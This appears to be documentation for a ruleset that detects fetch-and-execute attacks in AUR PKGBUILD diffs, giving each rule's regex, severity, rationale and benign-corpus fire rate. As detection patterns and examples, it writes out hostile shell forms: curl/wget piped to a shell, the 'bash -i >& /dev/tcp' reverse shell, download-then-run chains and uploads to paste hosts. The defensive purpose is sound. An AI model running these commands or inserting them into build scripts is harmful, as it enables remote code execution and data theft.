Fetch and Execution¶
Code reaches the machine and runs. Every rule here claims one of three
things: something was fetched, something was executed, or a path connects
the two. They are the densest group in the ruleset because the shapes are
many and the claim is the same one, so a rule that only covers curl |
bash leaves the rest of the family open.
The pipe-to-shell rules (R001, R002) are the canonical form. R127, R137 and
R138 exist because the pipe is not required: process substitution, a
download split across two lines, and a declared source=() script all put
fetched code in a shell without one. R129 moves the same question to parse
time, where the fetch happens before any build step or checksum applies.
See the rule system reference for the field table, the severity weights and the reserved identifier ranges.
R001: Remote Script Execution¶
- Target:
resolved - Severity: CRITICAL (weight 40)
- Category:
network_execution - Pattern:
curl.*\|\s*(?:/bin/)?(?:bash|sh|python|zsh|dash|busybox\s+sh|source\s+/dev/stdin) - Description: Detects
curl | bash,curl | sh, and variants includingpython,zsh,dash,busybox sh, andsource /dev/stdin. This is the most common careless malice pattern in AUR PKGBUILDs: downloading a script and piping it directly to a shell without verification.
R002: Wget Pipe to Shell¶
- Target:
resolved - Severity: CRITICAL (weight 40)
- Category:
network_execution - Pattern:
wget.*\|\s*(?:/bin/)?(?:bash|sh|python|zsh|dash|busybox\s+sh|source\s+/dev/stdin) - Description: Same as R001 but for
wget. Separate rule per tool to allow per-tool tuning.
R006: Insecure Download Protocol¶
- Target:
resolved - Severity: MEDIUM (weight 15)
- Category:
network_execution - Pattern:
https?://.*\.tar\.gz.*\| - Description: Detects
tar.gzpiped to execution (e.g.curl ... tar.gz | tar -x). Originally classified as HIGH/25 and later reduced. This entry previously documented it as LOW/5 on the grounds of a fire rate above 30%, but the shipped rule is MEDIUM and it fires on 0.00% of the 3,246-diff benign corpus; the pattern requires a pipe on the same resolved line, which is rarer than the earlier note assumed.
R008: Unexpected File Download¶
- Target:
resolved - Severity: HIGH (weight 25)
- Category:
network_execution - Pattern:
\b(python|ruby|perl)\s+-c\s+https?:// - Description: Detects language runtimes downloading scripts from URLs:
python -c <url>,ruby -c <url>,perl -c <url>. An unusual pattern that indicates a runtime fetching and executing code from a remote server.
R009: Privilege Escalation¶
- Target:
raw_line - Severity: CRITICAL (weight 40)
- Category:
privilege - Pattern:
\bsudo\b - Scope:
["function_body"]only - Description: Detects
sudoinside function bodies. Does not fire in comments, plain messages (echo,printf,note), or top-level declarations. Scope restriction prevents false positives fromgroups=('sudo')orecho "sudo required". It does fire onecho "x"; sudo ..., since a message followed by a separator is an execution context.
R010: Uses curl in PKGBUILD¶
- Target:
raw_line - Severity: LOW (weight 5)
- Category:
network_usage - Pattern:
\bcurl\s - Scope:
["function_body"]only - Description: Detects
curlcommands inside function bodies. Does not fire in comments or messages. Low severity because curl is a legitimate build tool; the presence alone is not suspicious, but combined with other signals it adds context.
R011: Uses wget in PKGBUILD¶
- Target:
raw_line - Severity: LOW (weight 5)
- Category:
network_usage - Pattern:
\bwget\s - Scope:
["function_body"]only - Description: Same rationale as R010 but for
wget. Separate rule per tool.
R020: Network connection attempt¶
- Target:
runtime(resolved execution path) - Severity: CRITICAL (weight 40)
- Category:
network - Pattern:
(?!)(never matches) - Description: A network socket opening at execution time. Shipped with a never-matching placeholder pattern because the current model cannot observe post-install behaviour from a static diff; the identifier is reserved so a future runtime probe can emit it without a baseline change.
R022: Sensitive binary execution¶
- Target:
runtime(resolved execution path) - Severity: HIGH (weight 25)
- Category:
execution - Pattern:
(?!)(never matches) - Description: Execution of a sensitive binary in an unexpected position. Reserved
never-matchplaceholder, as R020/R021.
C007: Command Substitution In Source Array¶
- Severity: CRITICAL (weight 40)
- Condition: An added
source=()line contains$(...)or a backtick expression. - Description: The source array is data, evaluated when the PKGBUILD is parsed. A command substitution there executes before any build function runs, and before any rule that inspects
build()has anything to look at.
R041: Shell Network Redirection¶
- Target:
resolved - Severity: CRITICAL (weight 40)
- Category:
network_execution - Pattern:
/dev/(?:tcp|udp)/ - Description: Bash's
/dev/tcpand/dev/udppseudo-devices open network sockets with no external binary. The canonical reverse shell isbash -i >& /dev/tcp/host/port 0>&1. Matching the bare path rather than a redirection operator covers the>&andexec 3<>forms alike.
R042: Download Then Execute¶
- Target:
resolved - Severity: CRITICAL (weight 40)
- Category:
execution - Pattern:
(?:curl|wget)\s+[^;&|]*-o\s*\S+[^;&|]*(?:&&|;)\s*(?:chmod\s+\+x[^;&|]*(?:&&|;)\s*)?(?:\./|/tmp/|bash\s|sh\s) - Description: Detects the download-then-run chain: fetch to a path, optionally
chmod +x, then execute it. Each step alone is unremarkable; the sequence is not.
R044: Interpreter One-Liner With Network¶
- Target:
resolved - Severity: HIGH (weight 25)
- Category:
network_execution - Pattern:
\b(?:python3?|perl|ruby)\s+-e\s+.*(?:socket|urllib|urlopen|Net::|LWP|open-uri|https?://) - Description: Detects an interpreter one-liner (
-e) that references network APIs (socket,urllib,LWP,Net::) or an inline URL.
R046: Source URL Uses IP Address¶
- Target:
raw_line - Severity: MEDIUM (weight 15)
- Category:
network - Pattern:
https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} - Description: A source URL pointing at a bare IP address bypasses DNS and any domain reputation the bucket classifier could apply.
R047: Source URL Uses Non-Standard Port¶
- Target:
raw_line - Severity: LOW (weight 5)
- Category:
network - Pattern:
https?://[^/\s:]+:(?!(?:80|443|8080|8443)(?:[/\s"\x27]|$))\d{2,5} - Description: A source URL on a port other than 80, 443, 8080, or 8443. Unusual ports suggest a service that is not a conventional distribution host.
R048: Source URL On Free Registrar TLD¶
- Target:
raw_line - Severity: LOW (weight 5)
- Category:
network - Pattern:
https?://[^/\s]*\.(?:tk|ml|ga|cf|gq|pw)(?:[:/]|["\x27\s)]|$) - Description: A source URL on a free-registrar TLD (
.tk,.ml,.ga,.cf,.gq,.pw). These carry no registration cost and are disproportionately used for throwaway infrastructure. Deliberately excludes.xyzand.top, which have substantial legitimate use.
R051: Network Access In pkgver¶
- Target:
raw_line - Severity: HIGH (weight 25)
- Category:
packaging - Scope:
['pkgver'] - Pattern:
\b(?:curl|wget|git\s+(?:clone|fetch|pull|ls-remote)|svn\s+(?:co|checkout)|hg\s+pull)\b - Description:
pkgver()runs during version resolution, before a reviewer sees the build. Network access there executes ahead of any inspection step. Scoped topkgverso thatcurlinbuild()is unaffected, and matched against fetching subcommands only;git describe, the standard VCS idiom, is local and must not fire.
R055: Git Clone With Variable Branch¶
- Target:
resolved - Severity: MEDIUM (weight 15)
- Category:
source - Pattern:
git\s+clone\s+[^;&|]*(?:--branch|-b)\s+\$\{?[a-zA-Z_] - Description: A
git clone --branch $varresolves at build time to whatever the variable holds, so the pinned ref is not actually pinned.
R056: Download Then Source¶
- Target:
resolved - Severity: CRITICAL (weight 40)
- Category:
execution - Pattern:
(?:curl|wget)\s+[^;&|]*-o\s*\S+[^;&|]*(?:&&|;)\s*(?:source|\.)\s - Description: Detects a download followed by
sourceor., which executes the fetched file in the current shell.
R057: TLS Verification Disabled¶
- Target:
resolved - Severity: HIGH (weight 25)
- Category:
network - Pattern:
(?:curl\s+(?:[^;&|]*\s)?(?:--insecure|-k)\b|wget\s+(?:[^;&|]*\s)?--no-check-certificate\b) - Description: Detects
curl --insecure/curl -kandwget --no-check-certificate. Disabling certificate verification makes the transport trivially interceptable. The-kmatch requires a preceding word boundary so that flags such as--keepalive-timedo not trigger it.
R060: Critical Build Function Modified¶
- Target: programmatic (diff-aware, defined in
src/trustsight/analysis/build.py) - Severity: INFO (weight 0)
- Category:
build - Description: The diff changes any line inside
build(),prepare(),check(), orpackage(). Many supply-chain attacks add a single line to one of these functions, so this reports that an executing function was altered.
INFO, so it contributes nothing to the score. It fires on 21.4 % of benign diffs because maintainers rewrite build functions routinely, and no narrowing reaches triage quality: restricting to an unchanged pkgver still leaves 11.6 %, and the "version bump that also rewrites build()" case the rule was first proposed for is 9.8 %. Carrying weight it would simply add points to one benign update in five.
At weight 0 it is context for a reviewer rather than a signal, which is why it is the one rule in this group that is on by default.
Function membership comes from _classify_enclosing_function() in rules.py, not from the @@ hunk header. The calibration corpus is generated with git diff -W and a custom xfuncname, so its hunk headers name the enclosing function, while the live pygit2 path emits none. A rule tuned on hunk headers would be calibrated against data production never produces.
On by default since v0.7.0. See [experimental_rules].
R061: Hidden Network Fetch In Build¶
- Target: programmatic (resolved command lines)
- Severity: HIGH (weight 25)
- Category:
network - Description: A command inside
build(),prepare(),check(), orpackage()downloads a URL that does not appear insource=(). This is the classic route around checksum verification: the declared sources verify cleanly while the real payload arrives at compile time.
The comparison is against a source-array-scoped URL extraction, not the general extract_urls_from_diff(). That helper collects URLs from any added line, including the offending curl line itself, so comparing against it would mean the rule could never fire. A fetch of a URL already declared in source=() does not fire.
On by default since v0.7.0. See [experimental_rules].
R076: Version-In-URL Injection¶
- Target: programmatic (
analysis/network.py) - Severity: MEDIUM (weight 15)
- Category:
network - Condition:
pkgveror_pkgveris assigned a literal containing characters outside[A-Za-z0-9._+-], and that variable is interpolated (braced or bare) into a source URL.
Both halves are required. An unsafe version string that is never interpolated
stays quiet, and an interpolated version made only of version characters is
ordinary packaging. What the rule describes is a value carrying delimiters
(;, whitespace, /) being substituted into something the build fetches.
Fire rate: 0 on all 3246 benign-corpus diffs.
R080: Exotic Source Protocol¶
- Target: programmatic (
analysis/network.py) - Severity: MEDIUM (weight 15)
- Category:
network - Condition: A
source=entry uses a scheme outside the[hosts] source_schemesallowlist. The base of atransport+basetoken is what is judged, sogit+https://is read ashttps.
data: URIs carry no :// and are not scheme tokens, which is an accepted
gap rather than a silent pass.
Fire rate: 6 of 3246 (0.18 %).
R087: Upload To Paste Or File-Drop Host¶
- Target: programmatic (
analysis/network.py) - Severity: HIGH (weight 25)
- Category:
exfil - Condition: A build or install function invokes
curl/wgetwith a request body (an upload flag from[patterns] upload_flags) against a host in[hosts] paste_hosts.
Direction is the entire rule. The same host list also feeds the
raw_hosting source bucket, so a paste host in source=() is already carried
at +15 and a rule that fired on it would double-count that weight. What no
bucket can see is the other direction: a request leaving a build with a body
attached, addressed to a host whose purpose is to accept an anonymous drop and
hand back a link.
Fetching from one of these hosts is not this rule. A curl pulling a patch
from a gist is an undeclared download, which R061 already reports. Posting to
that same gist is data leaving the machine that is building the package, and it
is the evidence behind R089's exfil stage. On a line R087 claims, R061 stands
down: describing an upload as a download would be wrong as well as scored
twice.
The destination is an auditable list rather than a guess about what an endpoint is for, so an upload to a project's own CI host does not fire.
Fire rate: 0 of 3246. The corpus contains one paste-host reference, a gist
download in gamescope-nvidia, which stays R061's.
R123: Covert Egress¶
- Target: programmatic (
analysis/network.py) - Severity: HIGH (weight 25)
- Category:
network - Condition: An added line references a
.onion/.i2phost, issues a DNS-over-HTTPS query or names a configured DoH endpoint, or invokes a tunnelling client (torsocks,socat,ngrok,chisel,frpc, ...) at a command position inside a build or install function.
The command-position anchor is what separates use from mention: a client named
in a string or listed in makedepends never fires.
Fire rate: 0 of 3246.
R129: Parse-time Network Fetch¶
- Target: programmatic (
analysis/network.py) - Severity: HIGH (weight 25)
- Category:
network - Condition: A network client from
[patterns] parse_time_fetchruns at a command position outside every function, in the PKGBUILD or an install file.
Everything at the top level executes as soon as makepkg sources the recipe,
which happens on makepkg --printsrcinfo, on an AUR helper's metadata refresh,
and on anything else that reads the file. That is before a build step runs and
before the checksum array covers anything. R010 and R011 report a downloader
inside a build function at LOW; running one at parse time is a different claim,
so it is a different rule.
Quiet by construction on declarations: DLAGENTS=(...) and any other
assignment whose value merely names a downloader configures makepkg rather
than fetching. An assignment that runs one through a command substitution
(_ver=$(curl ...)) is not a declaration and is not exempt. A fetch piped
straight into a shell belongs to R001/R002, whose claim is heavier, so R129
yields rather than scoring the same line twice.
Fire rate: 3 of 3246 (0.09 %), all one package resolving a redirect with
curl at the top level, which really does reach the network on a metadata
refresh.
R120: Reconstructed Executable Payload¶
- Severity: HIGH (weight 25)
- Category:
execution - Condition: Text on an added line (base64, hex, uuencode, or an R117 reconstruction) decodes to bytes carrying ELF, shebang, PE or Mach-O magic.
This is a type check on the decoder's output, which is why one rule covers every encoded-payload variant without naming the encoding. Encoded text assets, checksums and keys decode to none of those magics.
Fire rate: 0 of 3246.
R121: Build-time Generation Then Execution¶
- Severity: HIGH (weight 25)
- Category:
execution - Condition: A heredoc,
printforcat >writes a script or source file that the same function then compiles or executes.
Writing a config file, a .desktop entry or a patch that a declared build step
consumes is not generation-then-execution and does not fire.
Fire rate: 0 of 3246.
R124: Write Then Execute¶
- Severity: HIGH (weight 25)
- Category:
execution - Condition: A path the recipe writes is then executed by the same function.
The execution side counts interpreters, source, ., compilers and a plain
absolute path at a command position, with or without arguments. Files that
arrived through a declared source= and the project's own configure/make
artefacts are exempt.
Fire rate: 0 of 3246.
R127: Indirect Remote Execution¶
- Severity: CRITICAL (weight 40)
- Category:
execution - Condition: A fetched script reaches a shell by a path the pipe-to-shell rules do not see: process substitution (
bash <(curl ...)),xargs(curl ... | xargs bash), or a here-string fed by command substitution (bash <<< "$(curl ...)").
Each still executes remote code at build time, so it belongs with R001/R002 rather than at R010/R011's "uses curl" LOW.
R136: Committed File Executed Without Declaration¶
- Severity: HIGH (weight 25)
- Category:
execution - Condition: An executed path is not a declared
source=()basename, not a file the recipe wrote earlier in the same function, and not an R124-exempt build artifact, and either the path references${startdir}/$startdiror walks../, or the executed basename is present in the repository tree manifest under a relative path.
R121/R124 own files the recipe itself writes; R118 owns committed ELF
binaries. Between them sat the cleartext helper script: committed to the AUR
repository, never named in source=() (so makepkg never copies it into
$srcdir and its bytes never reach the differ), and executed through
$startdir or a ../ climb. Two signals, either sufficient: the $startdir
or ../ path reference (available even without a manifest), or the basename
in the tree manifest (only when a manifest was supplied - without one the rule
never guesses). An absolute /usr/share/... target cannot be a repository
file, however its basename collides, so the manifest signal requires a
relative path. Detected by _committed_execution_findings() in
src/trustsight/analysis/delivery.py.
R137: Fetch Then Execute¶
- Severity: CRITICAL (weight 40)
- Category:
network_execution - Condition: Inside a build/package/check/prepare function (install hooks already have R062), a line downloads to a file with
curl/wget/aria2c/axel(-o,--output,--output-document, or>form) and the same function later executes that file.
This is curl -o stage.sh ... ; bash stage.sh split across lines so the
pipe-to-shell regex (R001/R002) never sees the |. Files that arrived via
the declared source=() array are deliberately excluded - they have their
own rule (R138), so checksum-bearing source files are not double-counted.
Detected by _fetch_then_execute_findings() in
src/trustsight/analysis/delivery.py.
R138: Downloaded Source File Executed¶
- Severity: HIGH (weight 25)
- Category:
execution - Condition: An interpreter (
bash/sh/zsh/dash/ksh/python/perl/ruby),source,.or./form executes a file whose basename is declared in thesource=()array.
Checksums protect integrity, not intent: a source=(... .sh) followed by
bash "$srcdir/that.sh" is remote code execution just like curl | bash,
only hidden behind the ordinary download path. Build-system scripts
(configure, make, meson, ninja, cmake) are common declared-source
executables and stay silent; the rule targets interpreted execution of a
downloaded script. Detected by _source_file_execution_findings() in
src/trustsight/analysis/delivery.py.